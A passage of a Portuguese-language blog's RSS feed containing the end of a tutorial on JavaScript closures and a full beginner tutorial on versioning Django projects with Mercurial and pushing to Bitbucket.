  &lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; msg &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Olá &quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; nome &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;. Seja bem-vindo!&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;token function-variable function&quot;&gt;exibeMensagem&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;alert&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;msg&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

  &lt;span class=&quot;token function&quot;&gt;exibeMensagem&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token function&quot;&gt;digaSeuNome&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;João&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Olá João. Seja bem-vindo!&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Temos uma função definida dentro de outra função. A função interna
utiliza de parâmetros e variáveis da função externa… basicamente, este é
o conceito de &lt;em&gt;closure&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Não achou muito útil? Dê uma olhada no exemplo abaixo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;token function-variable function&quot;&gt;FabricaDeUsuarios&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; id &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;token function-variable function&quot;&gt;criaUsuario&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;nome&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    id&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      id&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; id&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      nome&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; nome&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; criaUsuario&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; novoUsuario &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;FabricaDeUsuarios&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; joao &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;novoUsuario&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;João&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; jose &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;novoUsuario&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;José&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token function&quot;&gt;alert&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;joao&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;id&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// 1&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;alert&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;jose&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;id&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// 2&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Utilizamos o conceito de &lt;em&gt;closure&lt;/em&gt; no exemplo acima. Abusamos do
contexto da linguagem, onde, mesmo que estejamos “chamando” a função
fora do escopo de &lt;code class=&quot;language-text&quot;&gt;FabricaDeUsuarios&lt;/code&gt;, na verdade &lt;code class=&quot;language-text&quot;&gt;novoUsuario&lt;/code&gt;
trata-se de uma referência a função &lt;code class=&quot;language-text&quot;&gt;criaUsuario&lt;/code&gt;. Logo, ainda
estaremos utilizando os recursos do contexto de &lt;code class=&quot;language-text&quot;&gt;FabricaDeUsuarios&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://www.javascriptkit.com/javatutors/closures.shtml&quot; title=&quot;Alguns exemplos de closures com Javascript&quot;&gt;&lt;em&gt;Javascript Closures – They’re not magic&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://blog.morrisjohns.com/javascript_closures_for_dummies&quot; title=&quot;Leia sobre Closures em Javascript&quot;&gt;&lt;em&gt;Morris Johns – Javascript Closures for Dummies&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en/JavaScript/Guide/Closures&quot; title=&quot;Leia sobre Closures no guia Javascript da Mozilla&quot;&gt;&lt;em&gt;Mozilla Developer Network – Closures&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://devlog.waltercruz.com/closures&quot; title=&quot;Closures em Ruby&quot;&gt;&lt;em&gt;Walter Cruz – Closures&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;E você… tem algum exemplo bacana sobre &lt;em&gt;closures&lt;/em&gt;? Não deixe de
comentar.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Como versionar projetos Django com o Mercurial - Parte 2]]></title><description><![CDATA[Dando continuidade ao post Como versionar
projetos Django com o Mercurial, e a série Montando seu ambiente
de desenvolvimento Django no…]]></description><link>https://klauslaube.com.br/2011/05/22/como-versionar-projetos-django-mercurial-parte-2.html</link><guid isPermaLink="false">https://klauslaube.com.br/2011/05/22/como-versionar-projetos-django-mercurial-parte-2.html</guid><pubDate>Sun, 22 May 2011 09:04:00 GMT</pubDate><content:encoded>&lt;p&gt;Dando continuidade ao &lt;em&gt;post&lt;/em&gt; &lt;a href=&quot;/2011/05/10/como-versionar-projetos-django-mercurial-parte.html&quot; title=&quot;Leia a primeira parte deste post&quot;&gt;Como versionar
projetos &lt;em&gt;Django&lt;/em&gt; com o &lt;em&gt;Mercurial&lt;/em&gt;&lt;/a&gt;, e a série &lt;a href=&quot;/2011/03/03/montando-seu-ambiente-de-desenvolvimento-django.html&quot; title=&quot;Tá começando com Django? É usuário Linux? Este post pode te interessar&quot;&gt;Montando seu ambiente
de desenvolvimento &lt;em&gt;Django&lt;/em&gt; no &lt;em&gt;Linux&lt;/em&gt;&lt;/a&gt;, vamos dar uma pincelada nos
funcionamentos básicos do &lt;a href=&quot;/tag/mercurial.html&quot; title=&quot;Leia mais sobre Mercurial&quot;&gt;&lt;em&gt;Mercurial&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;hg? Mas não era Mercurial?&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;Mercury&lt;/em&gt; em português significa mercúrio (nenhuma novidade até aqui),
que é um elemento químico com o símbolo &lt;code class=&quot;language-text&quot;&gt;Hg&lt;/code&gt; e o número atômico 80
(assim disse a &lt;a href=&quot;http://en.wikipedia.org/wiki/Mercury_(element)&quot; title=&quot;Leia mais sobre o elemento químico Mercúrio&quot;&gt;&lt;em&gt;Wikipedia&lt;/em&gt;&lt;/a&gt; (: ). É devido a isso que você utilizará
o &lt;em&gt;Mercurial&lt;/em&gt; em linha de comando através de comandos iniciados por
&lt;code class=&quot;language-text&quot;&gt;hg&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Antes de iniciarmos, vamos dizer ao &lt;em&gt;Mercurial&lt;/em&gt; quem nós somos. Abra o
arquivo &lt;code class=&quot;language-text&quot;&gt;.hgrc&lt;/code&gt; do seu &lt;code class=&quot;language-text&quot;&gt;home&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ vim ~/.hgrc&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;É fundamental que nossos &lt;em&gt;commits&lt;/em&gt; estejam marcados com nosso nome, e um
e-mail para contato. Vamos escrever estas duas informações neste
arquivo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;ini&quot;&gt;&lt;pre class=&quot;language-ini&quot;&gt;&lt;code class=&quot;language-ini&quot;&gt;&lt;span class=&quot;token header&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token section-name selector&quot;&gt;ui&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token key attr-name&quot;&gt;username&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token value attr-value&quot;&gt;seu nome &amp;lt; seuemail@provedor.com &gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Salve o arquivo, e estamos prontos para iniciar.&lt;/p&gt;
&lt;h2&gt;Primeiros passos&lt;/h2&gt;
&lt;p&gt;Os passos que vou exemplificar aqui não são muito diferentes dos que
você encontrará na &lt;a href=&quot;http://mercurial.selenic.com/&quot; title=&quot;Visite a página oficial do projeto Mercurial&quot;&gt;página oficial do &lt;em&gt;Mercurial&lt;/em&gt;&lt;/a&gt;. Preguiça minha?
Talvez… mas você verá que usar o &lt;em&gt;Mercurial&lt;/em&gt; é extremamente simples! As
dificuldades são as exceções do dia a dia.&lt;/p&gt;
&lt;p&gt;Para deixar o exemplo mais interessante, vamos utilizar o &lt;em&gt;virtualenv&lt;/em&gt;.
Dúvidas? Confira o &lt;em&gt;post&lt;/em&gt; &lt;a href=&quot;/2011/03/18/python-django-virtualenv.html&quot; title=&quot;Construa projetos isolados do seu sistema com virtualenv&quot;&gt;&lt;em&gt;Python&lt;/em&gt;, &lt;em&gt;Django&lt;/em&gt; e &lt;em&gt;virtualenv&lt;/em&gt;&lt;/a&gt; e
visualize aonde pretendemos chegar:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ cd ˜/Projetos/
$ virtualenv DjangoComHG --no-site-packages

$ cd DjangoComHG&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Agora sim, vamos criar um projeto através da seguinte expressão:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ hg init django-com-hg&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Projeto criado… vamos partir para as tarefas mais comuns no &lt;em&gt;Mercurial&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Altere, adicione e “comite”&lt;/h2&gt;
&lt;p&gt;O &lt;em&gt;Mercurial&lt;/em&gt; é &lt;a href=&quot;http://en.wikipedia.org/wiki/Distributed_revision_control&quot; title=&quot;Leia mais sobre Distributed Version Control System&quot;&gt;&lt;em&gt;DVCS&lt;/em&gt;&lt;/a&gt;, isto quer dizer que, quando você clonar um
repositório remoto você terá uma cópia exata dele em seu computador.
Logo, as alterações que você “persistir” estarão disponíveis apenas na
sua cópia local. Pode parecer um pouco confuso, mas com o tempo faz todo
o sentido.&lt;/p&gt;
&lt;p&gt;Para o primeiro &lt;em&gt;commit&lt;/em&gt; (persistir nossas alterações localmente)
escreva um arquivo &lt;code class=&quot;language-text&quot;&gt;.hgignore&lt;/code&gt; (&lt;a href=&quot;http://mercurial.selenic.com/wiki/.hgignore&quot; title=&quot;Entenda para que serve o arquivo .hgignore&quot;&gt;saiba mais do que se trata&lt;/a&gt;) e um
arquivo &lt;code class=&quot;language-text&quot;&gt;README&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ cd django-com-hg/
$ ls -a

.hg     .hgignore     README&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;A pasta &lt;code class=&quot;language-text&quot;&gt;.hg&lt;/code&gt; na verdade é quem vai identificar e armazenar todas as
informações do nosso projeto. Sem ela, você deixa de ter o controle
sobre as versões dos arquivos e subpastas do projeto.&lt;/p&gt;
&lt;p&gt;Execute o comando &lt;code class=&quot;language-text&quot;&gt;hg status&lt;/code&gt; e veja o que aparece… acredito que o
resultado seja auto-sugestivo. O &lt;em&gt;Mercurial&lt;/em&gt; ainda não sabe o que fazer
com os arquivos no projeto, portanto diremos a ele que queremos
versionar estes arquivos:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ hg add .hgignore README&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Uma nova execução do &lt;code class=&quot;language-text&quot;&gt;hg status&lt;/code&gt; vai apontar que os arquivos foram
marcados para adição, porém, ainda não foram adicionados. Você vai
confirmar está operação através do comando &lt;code class=&quot;language-text&quot;&gt;commit&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ hg commit -m &quot;Primeiro commit com .hgignore&quot;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;O parâmetro &lt;code class=&quot;language-text&quot;&gt;-m&lt;/code&gt; serve para passarmos uma mensagem de descrição do
&lt;code class=&quot;language-text&quot;&gt;commit&lt;/code&gt; que estamos fazendo. Isto facilita na leitura do &lt;em&gt;log&lt;/em&gt; de
&lt;em&gt;commits&lt;/em&gt; realizados:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ hg log&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Estes serão os comandos que provavelmente você usará constantemente
enquanto desenvolve.&lt;/p&gt;
&lt;h2&gt;Compartilhando as suas produções&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 180px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/ce36d314697154285d961d7076a96e53/e9ff0/bitbucket-logo.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 100%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAADvElEQVQ4y42UaXBOZxTHH1KiXzBj+EJn1L7vIcrQMczwgdagiGwSIdEZ2mYaWzIosS8dHZEgau2oEGKJGVFJUEu9SEorUa+pEDUaFc32Lvc+f+ece++bZAzjnTnvvfd5zvO75/zPOVdpravJfAC8hml6/Ybp5fv3MYN8+QzfM4OsTtkwmKaG86usqsW1Ow+x//RVpGbmYvEP2WKpmWew79QVXP3djZf/1wT8nbPEMhXTTdOU59ulZTps2W7dduw3utmwBN1hwiLdf+Z3OjRqrR5G1m/GSt1+QpIOGhqv24z5Wk9fslO7/vybadpmGMoOGTfvPdLNQxOgOkxF9Iof4fH58bafl/bmrj4A9dE0NB0yjyOWEEkCQ/kNQ4AnCm5r1TMSTUPmodOkpUhYewhbDubhYO413kNOQREOnb2O7386jwUbD6Pb5BQEka/qHoGfz90QILHqI/zDXa5bDJ8PNTAOql8MVOcwqG7hUL2jref+ZH2irTXe6zsbalAcPhgaj1slZVaEJkVIQgqwqqZOtx+fJI4cZVBIPEhHAsVCdZ1lGYF5jffYh5/bjUvEi1fVAjS1toBkUpQRMeuhekWJLk3IVJ/Z+HjiUuw6fgl7ci6j6+fJEiXvs7Hv4PDVdoE1/1lAElMW41btl5Q4DTUgFq0//QqP/nmBX4sf4OKt+3j6byWoAyRq8SHf8JRMOUvp1gN9fkMWN1MROLXg0PlyDU/OxLOKV1AdZ1D1p6H8+UvM4Zd2CUMw691lFtbsyZWzfmIIkLvAb0d4srBY0mzOQCpGSEQq+GVfLM7A5MQ0riJGxm6QVAVIPll5LgtoGFYfcoR2p+vHz/4LRCcpkeiLth1DTZ0XtR4fUnbkSLpBdrrcNu7Hz+E0diBCFpSgQr1c9ADDo9dJpNIe1OjcHmrwXElbdZppR78GBa5SZ/Tqi1IPtMK8fvchaJxw112OjOyLWLjpMKYmpWPKt+nS0OlHC3Hnryc8WTLTFlCIVsoOkESVlXV7z0paDPrlt3sooypX1XhQVetBGUmS7ypB4tYs6oI5WJFxUoCkc2Og3eWycqXYbaVLI+W0UKvRC9GaTBqdJ4X3KO0LN0pgz7DzqXpTw4rKarQctQCqZ5QAmrB2PI4DLR0FSrAPP/lSWqqhhoEqO61u66hPFBTpzp8t0zSGWvWIJIuwLVLWOk5corPOu5zPVoDmAH0NP012oPB4fSi8eR9pWfmi1XKy7UfyScNSaiFvI9+GxznlOmtPs7KGSELfNb6+yxr62GeZ4XsNceW2a34udHAAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Logotipo do BitBucket&amp;quot;&quot;
        title=&quot;Logotipo do BitBucket&quot;
        src=&quot;/static/ce36d314697154285d961d7076a96e53/e9ff0/bitbucket-logo.png&quot;
        srcset=&quot;/static/ce36d314697154285d961d7076a96e53/e9ff0/bitbucket-logo.png 180w&quot;
        sizes=&quot;(max-width: 180px) 100vw, 180px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Logotipo do BitBucket&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Se você ainda não tem uma conta no
&lt;a href=&quot;http://bitbucket.org/&quot; title=&quot;Bitbucket, compartilhe o seu código&quot;&gt;&lt;em&gt;Bitbucket&lt;/em&gt;&lt;/a&gt;, essa é uma grande oportunidade para fazer uma.&lt;/p&gt;
&lt;p&gt;Vamos criar um repositório para praticarmos o comando &lt;code class=&quot;language-text&quot;&gt;push&lt;/code&gt;. No
&lt;em&gt;Bitbucket&lt;/em&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Eu vou dar o nome de “post-django-com-hg” ao repositório, fique a
vontade para dar o nome que você desejar;&lt;/li&gt;
&lt;li&gt;Escolha o &lt;a href=&quot;/tag/python.html&quot; title=&quot;Leia mais sobre Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt; como linguagem;&lt;/li&gt;
&lt;li&gt;Coloque uma pequena descrição;&lt;/li&gt;
&lt;li&gt;Eu vou marcar a opção &quot;Issue tracking&quot;, caso haja algum problema com
o código e vocês queiram sugerir melhorias.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&quot;https://bitbucket.org/kplaube/post-django-com-hg&quot; title=&quot;Confira o repositório criado no Bitbucket&quot;&gt;Confira o resultado&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;No repositório local vamos utilizar o comando &lt;code class=&quot;language-text&quot;&gt;push&lt;/code&gt; com o endereço do
repositório no &lt;em&gt;Bitbucket&lt;/em&gt;. Isso enviará todas as alterações que
persistidas em nosso repositório local para o repositório remoto,
mesclando-as com as contribuições de outros usuários envolvidos no
projeto:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ hg push https://bitbucket.org/kplaube/post-django-com-hg&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Lembre-se&lt;/strong&gt; de mudar o endereço acima para o endereço do seu
repositório no &lt;em&gt;Bitbucket&lt;/em&gt;. Visite a página do seu repositório e veja o
que aconteceu… bacana, não?&lt;/p&gt;
&lt;p&gt;Mas dessa forma, teremos que sempre executar o comando &lt;code class=&quot;language-text&quot;&gt;pus&lt;/code&gt;h
informando o endereço do repositório. Vamos deixar esta tarefa mais
simples editando o arquivo &lt;code class=&quot;language-text&quot;&gt;hgrc&lt;/code&gt; dentro da pasta &lt;code class=&quot;language-text&quot;&gt;.hg&lt;/code&gt; do projeto:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ cd ~/Projetos/DjangoComHG/django-com-hg/
$ vim .hg/hgrc&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Coloque o seguinte:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;ini&quot;&gt;&lt;pre class=&quot;language-ini&quot;&gt;&lt;code class=&quot;language-ini&quot;&gt;&lt;span class=&quot;token header&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token section-name selector&quot;&gt;paths&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token key attr-name&quot;&gt;default&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token value attr-value&quot;&gt;https://kplaube@bitbucket.org/kplaube/post-django-com-hg&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Lembre-se&lt;/strong&gt; de mudar o endereço acima para o endereço do seu
repositório no &lt;em&gt;Bitbucket&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Pronto! Quando você for “pushear” não precisará mais informar o endereço
do repositório remoto.&lt;/p&gt;
&lt;p&gt;Altere alguns arquivos… &lt;code class=&quot;language-text&quot;&gt;commit&lt;/code&gt;. Adicione alguns arquivos…
&lt;code class=&quot;language-text&quot;&gt;commit&lt;/code&gt;. Ao final do dia, dê um &lt;code class=&quot;language-text&quot;&gt;push&lt;/code&gt; e deixe o resto da equipe
saber o que você fez ;)&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://mercurial.selenic.com/&quot; title=&quot;Mercurial, work easier, work faster&quot;&gt;Site oficial do projeto &lt;em&gt;Mercurial&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Mercurial&quot; title=&quot;Leia mais sobre Mercurial na Wikipedia&quot;&gt;Artigo na &lt;em&gt;Wikipedia&lt;/em&gt; sobre &lt;em&gt;Mercurial&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Mercury_(element)&quot; title=&quot;Leia mais sobre Mercúrio no Wikipedia&quot;&gt;Artigo na &lt;em&gt;Wikipedia&lt;/em&gt; sobre Mercúrio (o elemento químico)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://tocadoelfo.blogspot.com/2011/03/mercurial-hg-controlando-as-versoes-do.html&quot; title=&quot;Excelente post sobre Mercurial, TI e gerência de projetos&quot;&gt;&lt;em&gt;Mercurial Hg&lt;/em&gt; – Controlando as Versões do seu &lt;em&gt;Software&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://hgbook.red-bean.com/read/&quot; title=&quot;Excelente e-book de Bryan O&amp;#x27;Sullivan sobre Mercurial&quot;&gt;&lt;em&gt;Mercurial&lt;/em&gt;: &lt;em&gt;The Definitive Guide&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;No próximo &lt;em&gt;post&lt;/em&gt;, vamos concluir a trilogia mostrando uma forma bacana
de utilizar o &lt;em&gt;Mercurial&lt;/em&gt; para versionar seus projetos &lt;em&gt;Django&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Até a próxima…&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Fazendo Javascript OO de forma fácil]]></title><description><![CDATA[Embora o Javascript (em sua essência) seja orientado a objetos, temos
